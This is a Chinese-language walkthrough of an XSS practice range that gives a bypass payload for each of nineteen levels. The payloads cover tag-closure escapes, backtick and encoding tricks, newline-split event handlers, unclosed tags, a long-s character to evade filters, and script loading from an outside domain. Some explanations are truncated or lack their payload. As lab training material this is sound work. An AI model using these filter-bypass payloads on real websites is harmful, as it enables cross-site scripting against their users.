靶场网址:alert(1)
一:0x00:无限制
这题没什么限制,直接构造语句就可以了。
二:0x01:闭合类型。
这题我们知道,如果我们直接输入就会在textare标签中,不会执行我们的js语句,所以我们可以尝试去先闭合再写我们的js语句。
三:0x02:闭合类型
这题我们观察到直接输入,他是在input语句的属性值中,无法执行我们的js语句,所以我们的思路也是直接闭合掉语句,执行js语句。
四:0x03:括号绕过
这题显而易见的是括号不能使用了,我们的办法是替代法和进行编码,使用`来替代()或者使用编码的方式来替代掉括号,但要注意的是,script不能解析编码,所以script标签不能用编码的方式。
使用`的方式:<script>alert`1`</script>
使用编码的方式:因为script不能使用编码所以使用img来实现。
<img src=0 οnerrοr=alert(1)
五:0x04:括号和`的绕过。
这题与上题一样,只不过是将括号和`都不能使用了,但是可以使用编码的方式,绕过。
<img src=0 οnerrοr=alert(1)>
六:0x05:闭合类型
这题主要考察的也是闭合的思路,因为我们直接输入的东西会被注释掉,所以我们直接闭合就完了,但这不要被迷惑住了,<!-- -->这个会变成一个表情包,但是我们只要是对称的标签就能注释掉。
--!><script>alert(1)</script>
七:0x06:input标签的绕过。
这题给出的限制条件是对auto和on开头只要加上等号就会变为下划线,加上大于号大于号也会变为下划线,也就是说过滤了autoforce和onerror事件。我们可以使用一个换行的技巧前提要加一个type属性值image和src映射路径属性,然后再让等于号和属性分开。
type=image src=0 onerror
=alert(1)
八:0x07:闭合替换绕过
这题当我们的标签一闭合它就会替换为空。所以只要我们构造一个标签不闭合也能执行js语句的就可以了。
<img src=0 οnerrοr=alert(1)
一定要空一个格出来,或者换行,否则可能会失败。
九:0x08:闭合类型
这题主要是如果程序检测到我们存在</style>就会替换成其他标识,使我们的闭合失败,所以我们根据前面的经验,只要不闭合就好了。
</style
>
<img src=0 οnerrοr=alert(1)
十:0x09:闭合类型。
这题的主要还是他需要输入一个特定的网址他才会给系统去执行命令,所以我们先输入网址再闭合就能执行我们的js语句了。
https://www.segmentfault.com"></script><script>alert(1)</script>
十一:0x0A:转跳绕过
这题与上题类似,也是只有输入特定的网址才会执行,但是他添加了其他条件,他将:‘/等都符好都替换掉了,所以不能像上一题那样,而且根据他的语句是访问链接,我们就可以让他定位到一个写好的xss链接中。
十二:0x0B:h1标签绕过1
与上一题差不多,只不过是本题的主要点还是大写,因为alert与ALERT不是同一个意思,所以需要注意,但我们也可以使用上题的方式,因为script是不管大小写的。
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
除了这个还有其他的一些方法。
亦或者:前面都演示过了,不多解释。
十三:0x0C:h1标签绕过2
这题与上一题基本一致,但是本题将script禁掉了,使用我们只能另寻它法。我们可以通过编码的方式绕过h1标签的影响。
<img src=0 οnerrοr=alert(1)>
十四:0x0D:注释?
这题因为已经有script了,而且注释也只是注释当前行,所以换号=行就能直接绕过了,最后再用-->注释掉‘)即可。
)
alert(1)
-->
十五:0x0E:特色符号绕过
这题主要是学习一个特色字符:ſ相当于s,因为本题如果输入<加一个字母就会变成<_,但是特殊字符就不会,所以。
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
或者
十六:0x0F:闭合类型
这题没什么好说的,就是闭合+注释,搭配上script语句就可以了,虽然将&,’”<>/\都编码了,但是这就是典型的骗自己,因为即时编码了,但在img标签里也是能解析的,所以相当于徒劳。
');alert(1)
//
十七:0x10:无
这题更是没什么好说的,就了解一下Window函数对象表示在浏览器中打开的窗口。
alert(1)
十八:0x11:闭合类型
这题看着挺吓人,但实际一坨,就是将原本的“变为了\”,但是一点也不影响我们的构造语句。
");alert(1)//
十九:0x12:闭合类型
这题就是将"换成了\",但是我们可以根据此就构造语句,最后注释掉不需要的就可以了。
\");alert(1)
//
总结:大多都是对网页源码的分析,闭合类型居多,完,如果有问题欢迎一起来探讨,如有错误也希望多多指正。